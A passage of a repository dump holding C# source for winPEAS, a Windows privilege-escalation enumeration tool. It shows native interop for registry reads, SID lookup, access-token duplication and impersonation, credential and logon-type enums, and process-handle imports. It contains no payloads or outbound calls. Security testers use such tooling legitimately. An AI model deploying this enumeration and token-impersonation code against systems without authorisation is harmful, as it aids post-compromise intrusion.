SafeRegistryHandle hKey,\n            string lpValueName,\n            IntPtr lpReserved,\n            out uint lpType,\n            byte[] lpData,\n            ref uint lpcbData);\n\n        public byte[] ReadRegistryValue(string keyPath, string valueName)\n        {\n            using (RegistryKey baseKey = Registry.LocalMachine) // Access HKLM\n            using (RegistryKey subKey = baseKey.OpenSubKey(keyPath, writable: false))\n            {\n                if (subKey == null)\n                    throw new InvalidOperationException(\"Registry key not found.\");\n\n                SafeRegistryHandle hKey = subKey.Handle;\n                uint lpType;\n                uint dataSize = 0;\n\n                // First call to determine the size of the data\n                int ret = RegQueryValueExW(\n                    hKey,\n                    valueName,\n                    IntPtr.Zero,\n                    out lpType,\n                    null,\n                    ref dataSize);\n\n                if (ret != 0)\n                    throw new System.ComponentModel.Win32Exception(ret);\n\n                byte[] data = new byte[dataSize];\n\n                // Second call to get the actual data\n                ret = RegQueryValueExW(\n                    hKey,\n                    valueName,\n                    IntPtr.Zero,\n                    out lpType,\n                    data,\n                    ref dataSize);\n\n                if (ret != 0)\n                    throw new System.ComponentModel.Win32Exception(ret);\n\n                return data;\n            }\n        }\n\n        public static string TranslateSid(string sid)\n        {\n            // adapted from http://www.pinvoke.net/default.aspx/advapi32.LookupAccountSid\n            var accountSid = new SecurityIdentifier(sid);\n            var accountSidByes = new byte[accountSid.BinaryLength];\n            accountSid.GetBinaryForm(accountSidByes, 0);\n\n            var name = new StringBuilder();\n            var cchName = (uint)name.Capacity;\n            var referencedDomainName = new StringBuilder();\n            var cchReferencedDomainName = (uint)referencedDomainName.Capacity;\n\n            var err = 0;\n            if (!LookupAccountSid(null, accountSidByes, name, ref cchName, referencedDomainName, ref cchReferencedDomainName, out var sidUse))\n            {\n                err = Marshal.GetLastWin32Error();\n\n                if (err == Win32Error.InsufficientBuffer)\n                {\n                    name.EnsureCapacity((int)cchName);\n                    referencedDomainName.EnsureCapacity((int)cchReferencedDomainName);\n                    err = 0;\n                    if (!LookupAccountSid(null, accountSidByes, name, ref cchName, referencedDomainName,\n                        ref cchReferencedDomainName, out sidUse))\n                    {\n                        err = Marshal.GetLastWin32Error();\n                    }\n                }\n            }\n\n            return err == 0 ? $\"{referencedDomainName}\\\\{name}\" : \"\";\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Classes/SafeTokenHandle.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Native.Classes\n{\n    public partial class SafeTokenHandle : Microsoft.Win32.SafeHandles.SafeHandleZeroOrMinusOneIsInvalid\n    {\n        private const Int32 ERROR_NO_TOKEN = 0x000003F0;\n        private const Int32 ERROR_INSUFFICIENT_BUFFER = 122;\n        private static SafeTokenHandle currentProcessToken = null;\n\n        private SafeTokenHandle() : base(true) { }\n\n        internal SafeTokenHandle(IntPtr handle, bool own = true) : base(own)\n        {\n            SetHandle(handle);\n        }\n\n        protected override bool ReleaseHandle() => Kernel32.CloseHandle(handle);\n\n        public T GetInfo<T>(TOKEN_INFORMATION_CLASS type)\n        {\n            int cbSize = Marshal.SizeOf(typeof(T));\n            IntPtr pType = Marshal.AllocHGlobal(cbSize);\n\n            try\n            {\n                // Retrieve token information. \n                if (!Advapi32.GetTokenInformation(this, type, pType, cbSize, out cbSize))\n                    throw new System.ComponentModel.Win32Exception();\n\n                // Marshal from native to .NET.\n                switch (type)\n                {\n                    case TOKEN_INFORMATION_CLASS.TokenType:\n                    case TOKEN_INFORMATION_CLASS.TokenImpersonationLevel:\n                    case TOKEN_INFORMATION_CLASS.TokenSessionId:\n                    case TOKEN_INFORMATION_CLASS.TokenSandBoxInert:\n                    case TOKEN_INFORMATION_CLASS.TokenOrigin:\n                    case TOKEN_INFORMATION_CLASS.TokenElevationType:\n                    case TOKEN_INFORMATION_CLASS.TokenHasRestrictions:\n                    case TOKEN_INFORMATION_CLASS.TokenUIAccess:\n                    case TOKEN_INFORMATION_CLASS.TokenVirtualizationAllowed:\n                    case TOKEN_INFORMATION_CLASS.TokenVirtualizationEnabled:\n                        return (T)Convert.ChangeType(Marshal.ReadInt32(pType), typeof(T));\n\n                    case TOKEN_INFORMATION_CLASS.TokenLinkedToken:\n                        return (T)Convert.ChangeType(Marshal.ReadIntPtr(pType), typeof(T));\n\n                    case TOKEN_INFORMATION_CLASS.TokenUser:\n                    case TOKEN_INFORMATION_CLASS.TokenGroups:\n                    case TOKEN_INFORMATION_CLASS.TokenPrivileges:\n                    case TOKEN_INFORMATION_CLASS.TokenOwner:\n                    case TOKEN_INFORMATION_CLASS.TokenPrimaryGroup:\n                    case TOKEN_INFORMATION_CLASS.TokenDefaultDacl:\n                    case TOKEN_INFORMATION_CLASS.TokenSource:\n                    case TOKEN_INFORMATION_CLASS.TokenStatistics:\n                    case TOKEN_INFORMATION_CLASS.TokenRestrictedSids:\n                    case TOKEN_INFORMATION_CLASS.TokenGroupsAndPrivileges:\n                    case TOKEN_INFORMATION_CLASS.TokenElevation:\n                    case TOKEN_INFORMATION_CLASS.TokenAccessInformation:\n                    case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel:\n                    case TOKEN_INFORMATION_CLASS.TokenMandatoryPolicy:\n                    case TOKEN_INFORMATION_CLASS.TokenLogonSid:\n                        return (T)Marshal.PtrToStructure(pType, typeof(T));\n\n                    case TOKEN_INFORMATION_CLASS.TokenSessionReference:\n                    case TOKEN_INFORMATION_CLASS.TokenAuditPolicy:\n                    default:\n                        return default(T);\n                }\n            }\n            finally\n            {\n                Marshal.FreeHGlobal(pType);\n            }\n        }\n\n        public static SafeTokenHandle FromCurrentProcess(AccessTypes desiredAccess = AccessTypes.TokenDuplicate)\n        {\n            lock (currentProcessToken)\n            {\n                if (currentProcessToken == null)\n                    currentProcessToken = FromProcess(Kernel32.GetCurrentProcess(), desiredAccess);\n                return currentProcessToken;\n            }\n        }\n\n        public static SafeTokenHandle FromCurrentThread(AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)\n            => FromThread(Kernel32.GetCurrentThread(), desiredAccess, openAsSelf);\n\n        public static SafeTokenHandle FromProcess(IntPtr hProcess, AccessTypes desiredAccess = AccessTypes.TokenDuplicate)\n        {\n            SafeTokenHandle val;\n            if (!Advapi32.OpenProcessToken(hProcess, desiredAccess, out val))\n                throw new System.ComponentModel.Win32Exception();\n            return val;\n        }\n\n        public static SafeTokenHandle FromThread(IntPtr hThread, AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)\n        {\n            SafeTokenHandle val;\n            if (!Advapi32.OpenThreadToken(hThread, desiredAccess, openAsSelf, out val))\n            {\n                if (Marshal.GetLastWin32Error() == ERROR_NO_TOKEN)\n                {\n                    SafeTokenHandle pval = FromCurrentProcess();\n                    if (!Advapi32.DuplicateTokenEx(pval, AccessTypes.TokenImpersonate | desiredAccess, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.Impersonation, TokenType.TokenImpersonation, ref val))\n                        throw new System.ComponentModel.Win32Exception();\n                    if (!Advapi32.SetThreadToken(IntPtr.Zero, val))\n                        throw new System.ComponentModel.Win32Exception();\n                }\n                else\n                    throw new System.ComponentModel.Win32Exception();\n            }\n            return val;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Classes/UNICODE_STRING.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Native.Classes\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public class UNICODE_STRING : IDisposable\n    {\n        public ushort Length;\n        public ushort MaximumLength;\n        public IntPtr Buffer;\n\n        public UNICODE_STRING()\n            : this(null)\n        {\n        }\n\n        public UNICODE_STRING(string s)\n        {\n            if (s != null)\n            {\n                Length = (ushort)(s.Length * 2);\n                MaximumLength = (ushort)(Length + 2);\n                Buffer = Marshal.StringToHGlobalUni(s);\n            }\n        }\n\n        public override string ToString() => Buffer != IntPtr.Zero ? Marshal.PtrToStringUni(Buffer) : null;\n\n        protected virtual void Dispose(bool disposing)\n        {\n            if (Buffer != IntPtr.Zero)\n            {\n                try\n                {\n                    Marshal.FreeHGlobal(Buffer);\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\", ex));\n                }\n                Buffer = IntPtr.Zero;\n            }\n        }\n\n        ~UNICODE_STRING() => Dispose(false);\n\n        public void Dispose()\n        {\n            Dispose(true);\n            GC.SuppressFinalize(this);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/AccessTypes.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Native.Enums\n{\n    [Flags]\n    public enum AccessTypes : uint\n    {\n        TokenAssignPrimary = 0x0001,\n        TokenDuplicate = 0x0002,\n        TokenImpersonate = 0x0004,\n        TokenQuery = 0x0008,\n        TokenQuerySource = 0x0010,\n        TokenAdjustPrivileges = 0x0020,\n        TokenAdjustGroups = 0x0040,\n        TokenAdjustDefault = 0x0080,\n        TokenAdjustSessionID = 0x0100,\n        TokenAllAccessP = 0x000F00FF,\n        TokenAllAccess = 0x000F01FF,\n        TokenRead = 0x00020008,\n        TokenWrite = 0x000200E0,\n        TokenExecute = 0x00020000,\n\n        Delete = 0x00010000,\n        ReadControl = 0x00020000,\n        WriteDac = 0x00040000,\n        WriteOwner = 0x00080000,\n        Synchronize = 0x00100000,\n        StandardRightsRequired = 0x000F0000,\n        StandardRightsRead = 0x00020000,\n        StandardRightsWrite = 0x00020000,\n        StandardRightsExecute = 0x00020000,\n        StandardRightsAll = 0x001F0000,\n        SpecificRightsAll = 0x0000FFFF,\n        AccessSystemSecurity = 0x01000000,\n        MaximumAllowed = 0x02000000,\n        GenericRead = 0x80000000,\n        GenericWrite = 0x40000000,\n        GenericExecute = 0x20000000,\n        GenericAll = 0x10000000,\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/CredentialType.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    /// <summary>\n    ///     Enum CredentialType\n    /// \n    ///     The type of the credential. This member cannot be changed after the credential is created.\n    /// </summary>\n    public enum CredentialType : uint\n    {\n        /// <summary>\n        ///     The lack of credential type\n        /// </summary>\n        None = 0,\n\n        /// <summary>\n        ///     Generic credential type\n        /// \n        ///     The credential is a generic credential. The credential will not be used by any particular authentication package. \n        ///     The credential will be stored securely but has no other significant characteristics.\n        /// </summary>\n        Generic = 1,\n\n        /// <summary>\n        ///     Domain password credential type\n        /// \n        ///     The credential is a password credential and is specific to Microsoft's authentication packages. \n        ///     The NTLM, Kerberos, and Negotiate authentication packages will automatically use this credential when connecting to the named target.\n        /// </summary>\n        DomainPassword = 2,\n\n        /// <summary>\n        ///     Domain certificate credential type\n        /// \n        ///     The credential is a certificate credential and is specific to Microsoft's authentication packages. \n        ///     The Kerberos, Negotiate, and Schannel authentication packages automatically use this credential when connecting to the named target.\n        /// </summary>\n        DomainCertificate = 3\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/DS_NAME_FLAGS.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Native.Enums\n{\n    /// <summary>\n    /// Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function.\n    /// </summary>\n    [Flags]\n    public enum DS_NAME_FLAGS\n    {\n        /// <summary>Indicate that there are no associated flags.</summary>\n        DS_NAME_NO_FLAGS = 0x0,\n\n        ///<summary>Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX.</summary>\n        DS_NAME_FLAG_SYNTACTICAL_ONLY = 0x1,\n\n        ///<summary>Force a trip to the DC for evaluation, even if this could be locally cracked syntactically.</summary>\n        DS_NAME_FLAG_EVAL_AT_DC = 0x2,\n\n        ///<summary>The call fails if the domain controller is not a global catalog server.</summary>\n        DS_NAME_FLAG_GCVERIFY = 0x4,\n\n        ///<summary>Enable cross forest trust referral.</summary>\n        DS_NAME_FLAG_TRUST_REFERRAL = 0x8\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/DS_NAME_FORMAT.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    /// <summary>\n    /// Provides formats to use for input and output names for the DsCrackNames function.\n    /// </summary>\n    public enum DS_NAME_FORMAT\n    {\n        ///<summary>Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown.</summary>\n        DS_UNKNOWN_NAME = 0,\n\n        ///<summary>Indicates that the fully qualified distinguished name is used. For example: \"CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com\"</summary>\n        DS_FQDN_1779_NAME = 1,\n\n        ///<summary>Indicates a Windows NT 4.0 account name. For example: \"Engineering\\someone\" The domain-only version includes two trailing backslashes (\\\\).</summary>\n        DS_NT4_ACCOUNT_NAME = 2,\n\n        ///<summary>Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN).</summary>\n        DS_DISPLAY_NAME = 3,\n\n        ///<summary>Indicates a GUID string that the IIDFromString function returns. For example: \"{4fa050f0-f561-11cf-bdd9-00aa003a77b6}\"</summary>\n        DS_UNIQUE_ID_NAME = 6,\n\n        ///<summary>Indicates a complete canonical name. For example: \"engineering.fabrikam.com/software/someone\" The domain-only version includes a trailing forward slash (/).</summary>\n        DS_CANONICAL_NAME = 7,\n\n        ///<summary>Indicates that it is using the user principal name (UPN). For example: \"someone@engineering.fabrikam.com\"</summary>\n        DS_USER_PRINCIPAL_NAME = 8,\n\n        ///<summary>This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\\n), even in a domain-only case. For example: \"engineering.fabrikam.com/software\\nsomeone\"</summary>\n        DS_CANONICAL_NAME_EX = 9,\n\n        ///<summary>Indicates it is using a generalized service principal name. For example: \"www/www.fabrikam.com@fabrikam.com\"</summary>\n        DS_SERVICE_PRINCIPAL_NAME = 10,\n\n        ///<summary>Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: \"S-1-5-21-397955417-626881126-188441444-501\"</summary>\n        DS_SID_OR_SID_HISTORY_NAME = 11,\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/GPOLink.cs",
    "content": "﻿using System.ComponentModel;\n\nnamespace winPEAS.Native.Enums\n{\n    enum GPOLink\n    {\n        [Description(\"No Link Information\")]\n        NO_LINK_INFORMATION = 0,\n\n        [Description(\"Local Machine\")]\n        LOCAL_MACHINE = 1,\n\n        [Description(\"Site\")]\n        SITE = 2,\n\n        [Description(\"Domain\")]\n        DOMAIN = 3,\n\n        [Description(\"Organizational Unit\")]\n        ORGANIZATIONAL_UNIT = 4\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/GPOOptions.cs",
    "content": "﻿using System.ComponentModel;\n\nnamespace winPEAS.Native.Enums\n{\n    enum GPOOptions\n    {\n        [Description(\"All Sections Enabled\")]\n        ALL_SECTIONS_ENABLED = 0,\n\n        [Description(\"User Section Disbled\")]\n        USER_SECTION_DISABLED = 1,\n\n        [Description(\"Computer Section Disable\")]\n        COMPUTER_SECTION_DISABLE = 2,\n\n        [Description(\"All Sections Disabled\")]\n        ALL_SECTIONS_DISABLED = 3\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/NetJoinStatus.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum NetJoinStatus\n    {\n        NetSetupUnknownStatus = 0,\n        NetSetupUnjoined,\n        NetSetupWorkgroupName,\n        NetSetupDomainName\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/PrivilegeAttributes.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Native.Enums\n{\n    [Flags]\n    public enum PrivilegeAttributes : uint\n    {\n        Disabled = 0x00000000,\n        EnabledByDefault = 0x00000001,\n        Enabled = 0x00000002,\n        UsedForAccess = 0x80000000,\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/SECURITY_IMPERSONATION_LEVEL.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum SECURITY_IMPERSONATION_LEVEL\n    {\n        Anonymous,\n        Identification,\n        Impersonation,\n        Delegation\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/SECURITY_LOGON_TYPE.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum SECURITY_LOGON_TYPE : uint\n    {\n        Interactive = 2,        // logging on interactively.\n        Network,                // logging using a network.\n        Batch,                  // logon for a batch process.\n        Service,                // logon for a service account.\n        Proxy,                  // Not supported.\n        Unlock,                 // Tattempt to unlock a workstation.\n        NetworkCleartext,       // network logon with cleartext credentials\n        NewCredentials,         // caller can clone its current token and specify new credentials for outbound connections\n        RemoteInteractive,      // terminal server session that is both remote and interactive\n        CachedInteractive,      // attempt to use the cached credentials without going out across the network\n        CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes\n        CachedUnlock            // attempt to unlock a workstation\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/SE_OBJECT_TYPE.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum SE_OBJECT_TYPE\n    {\n        SE_UNKNOWN_OBJECT_TYPE = 0,\n        SE_FILE_OBJECT,\n        SE_SERVICE,\n        SE_PRINTER,\n        SE_REGISTRY_KEY,\n        SE_LMSHARE,\n        SE_KERNEL_OBJECT,\n        SE_WINDOW_OBJECT,\n        SE_DS_OBJECT,\n        SE_DS_OBJECT_ALL,\n        SE_PROVIDER_DEFINED_OBJECT,\n        SE_WMIGUID_OBJECT,\n        SE_REGISTRY_WOW64_32KEY\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/SID_NAME_USE.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum SID_NAME_USE\n    {\n        SidTypeUser = 1,\n        SidTypeGroup,\n        SidTypeDomain,\n        SidTypeAlias,\n        SidTypeWellKnownGroup,\n        SidTypeDeletedAccount,\n        SidTypeInvalid,\n        SidTypeUnknown,\n        SidTypeComputer\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/ServerTypes.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Native.Enums\n{\n    [Flags]\n    public enum ServerTypes : uint\n    {\n        Workstation = 0x00000001,\n        Server = 0x00000002,\n        SqlServer = 0x00000004,\n        DomainCtrl = 0x00000008,\n        BackupDomainCtrl = 0x00000010,\n        TimeSource = 0x00000020,\n        AppleFilingProtocol = 0x00000040,\n        Novell = 0x00000080,\n        DomainMember = 0x00000100,\n        PrintQueueServer = 0x00000200,\n        DialinServer = 0x00000400,\n        XenixServer = 0x00000800,\n        UnixServer = 0x00000800,\n        NT = 0x00001000,\n        WindowsForWorkgroups = 0x00002000,\n        MicrosoftFileAndPrintServer = 0x00004000,\n        NTServer = 0x00008000,\n        BrowserService = 0x00010000,\n        BackupBrowserService = 0x00020000,\n        MasterBrowserService = 0x00040000,\n        DomainMaster = 0x00080000,\n        OSF1Server = 0x00100000,\n        VMSServer = 0x00200000,\n        Windows = 0x00400000,\n        DFS = 0x00800000,\n        NTCluster = 0x01000000,\n        TerminalServer = 0x02000000,\n        VirtualNTCluster = 0x04000000,\n        DCE = 0x10000000,\n        AlternateTransport = 0x20000000,\n        LocalListOnly = 0x40000000,\n        PrimaryDomain = 0x80000000,\n        All = 0xFFFFFFFF\n    };\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/SessionSecurity.cs",
    "content": "﻿using System;\nusing System.ComponentModel;\n\nnamespace winPEAS.Native.Enums\n{\n    [Flags]\n    enum SessionSecurity : uint\n    {\n        [Description(\"None checked\")]\n        None = 0x00000000,\n\n        [Description(\"Require message integrity\")]\n        Integrity = 0x00000010, // Message integrity\n\n        [Description(\"Require message confidentiality\")]\n        Confidentiality = 0x00000020, // Message confidentiality\n\n        [Description(\"Require NTLMv2 session security\")]\n        NTLMv2 = 0x00080000,\n\n        [Description(\"Require 128-bit encryption\")]\n        Require128BitKey = 0x20000000,\n\n        [Description(\"Require 56-bit encryption\")]\n        Require56BitKey = 0x80000000\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/TOKEN_ELEVATION_TYPE.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum TOKEN_ELEVATION_TYPE\n    {\n        Default = 1,\n        Full,\n        Limited\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/TOKEN_INFORMATION_CLASS.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum TOKEN_INFORMATION_CLASS\n    {\n        TokenUser = 1,\n        TokenGroups,\n        TokenPrivileges,\n        TokenOwner,\n        TokenPrimaryGroup,\n        TokenDefaultDacl,\n        TokenSource,\n        TokenType,\n        TokenImpersonationLevel,\n        TokenStatistics,\n        TokenRestrictedSids,\n        TokenSessionId,\n        TokenGroupsAndPrivileges,\n        TokenSessionReference,\n        TokenSandBoxInert,\n        TokenAuditPolicy,\n        TokenOrigin,\n        TokenElevationType,\n        TokenLinkedToken,\n        TokenElevation,\n        TokenHasRestrictions,\n        TokenAccessInformation,\n        TokenVirtualizationAllowed,\n        TokenVirtualizationEnabled,\n        TokenIntegrityLevel,\n        TokenUIAccess,\n        TokenMandatoryPolicy,\n        TokenLogonSid,\n        MaxTokenInfoClass\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/TokenType.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Native.Enums\n{\n    [Serializable]\n    public enum TokenType\n    {\n        TokenImpersonation = 2,\n        TokenPrimary = 1\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/UserPrivType.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum UserPrivType\n    {\n        Guest = 0,\n        User = 1,\n        Administrator = 2\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Enums/WTS_INFO_CLASS.cs",
    "content": "﻿namespace winPEAS.Native.Enums\n{\n    public enum WTS_INFO_CLASS\n    {\n        WTSInitialProgram = 0,\n        WTSApplicationName = 1,\n        WTSWorkingDirectory = 2,\n        WTSOEMId = 3,\n        WTSSessionId = 4,\n        WTSUserName = 5,\n        WTSWinStationName = 6,\n        WTSDomainName = 7,\n        WTSConnectState = 8,\n        WTSClientBuildNumber = 9,\n        WTSClientName = 10,\n        WTSClientDirectory = 11,\n        WTSClientProductId = 12,\n        WTSClientHardwareId = 13,\n        WTSClientAddress = 14,\n        WTSClientDisplay = 15,\n        WTSClientProtocolType = 16,\n        WTSIdleTime = 17,\n        WTSLogonTime = 18,\n        WTSIncomingBytes = 19,\n        WTSOutgoingBytes = 20,\n        WTSIncomingFrames = 21,\n        WTSOutgoingFrames = 22,\n        WTSClientInfo = 23,\n        WTSSessionInfo = 24,\n        WTSSessionInfoEx = 25,\n        WTSConfigInfo = 26,\n        WTSValidationInfo = 27,\n        WTSSessionAddressV4 = 28,\n        WTSIsRemoteSession = 29\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Iphlpapi.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing winPEAS.Info.NetworkInfo.Enums;\n\nnamespace winPEAS.Native\n{\n    internal class Iphlpapi\n    {\n        [DllImport(\"iphlpapi.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int pdwSize,\n            bool bOrder, int ulAf, TcpTableClass tableClass, uint reserved = 0);\n\n        [DllImport(\"iphlpapi.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        internal static extern uint GetExtendedUdpTable(IntPtr pUdpTable, ref int pdwSize,\n            bool bOrder, int ulAf, UdpTableClass tableClass, uint reserved = 0);\n\n        [DllImport(\"IpHlpApi.dll\")]\n        [return: MarshalAs(UnmanagedType.U4)]\n        internal static extern int GetIpNetTable(IntPtr pIpNetTable, [MarshalAs(UnmanagedType.U4)] ref int pdwSize, bool bOrder);\n\n        [DllImport(\"IpHlpApi.dll\", SetLastError = true, CharSet = CharSet.Auto)]\n        internal static extern int FreeMibTable(IntPtr plpNetTable);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Kernel32.cs",
    "content": "﻿using System;\nusing System.Runtime.ConstrainedExecution;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing winPEAS.Info.SystemInfo.NamedPipes;\n\nnamespace winPEAS.Native\n{\n    internal class Kernel32\n    {\n        //[DllImport(\"kernel32.dll\", SetLastError = true)]\n        //[return: MarshalAs(UnmanagedType.Bool)]\n        //internal static extern bool CloseHandle(IntPtr hObject);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        internal static extern IntPtr FindFirstFile(string lpFileName, out NamedPipes.WIN32_FIND_DATA lpFindFileData);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        internal static extern bool FindNextFile(IntPtr hFindFile, out NamedPipes.WIN32_FIND_DATA\n            lpFindFileData);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        internal static extern bool FindClose(IntPtr hFindFile);\n\n        [DllImport(\"kernel32.dll\")]\n        internal static extern IntPtr LoadLibrary(string dllFilePath);\n\n        [DllImport(\"kernel32\", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]\n        internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n\n\n        [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success), DllImport(\"Kernel32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool CloseHandle(IntPtr handle);\n\n        [DllImport(\"Kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        internal static extern IntPtr GetCurrentProcess();\n\n        [DllImport(\"Kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        internal static extern IntPtr GetCurrentThread();\n\n        /// <summary>\n        /// The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block.\n        /// GlobalLock function increments the lock count by one.\n        /// Needed for the clipboard functions when getting the data from IDataObject\n        /// </summary>\n        /// <param name=\"hMem\"></param>\n        /// <returns></returns>\n        [DllImport(\"Kernel32.dll\", SetLastError = true)]\n        internal static extern IntPtr GlobalLock(IntPtr hMem);\n\n        /// <summary>\n        /// The GlobalUnlock function decrements the lock count associated with a memory object.\n        /// </summary>\n        /// <param name=\"hMem\"></param>\n        /// <returns></returns>\n        [DllImport(\"Kernel32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool GlobalUnlock(IntPtr hMem);\n\n        [DllImport(\"Kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool FreeLibrary(IntPtr lib);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Unicode)]\n        internal static extern int GetPrivateProfileSection(string section, IntPtr keyValue, int size, string filePath);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Unicode)]\n        internal static extern int GetPrivateProfileString(string? section, string? key, string defaultValue, [In, Out] char[] value, int size, string filePath);\n\n        [DllImport(\"kernel32.dll\")]\n        public static extern IntPtr OpenProcess(Helpers.HandlesHelper.ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);\n\n        [DllImport(\"kernel32.dll\")]\n        public static extern IntPtr OpenProcess(Helpers.HandlesHelper.ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, UIntPtr dwProcessId);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, ushort hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern uint GetProcessIdOfThread(IntPtr handle);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern uint GetProcessId(IntPtr handle);\n\n        [DllImport(\"Kernel32.dll\", SetLastError = true, CharSet = CharSet.Auto)]\n        public static extern uint GetFinalPathNameByHandle(IntPtr hFile, [MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern uint GetFileInformationByHandleEx(IntPtr hFile, int infoClass, out 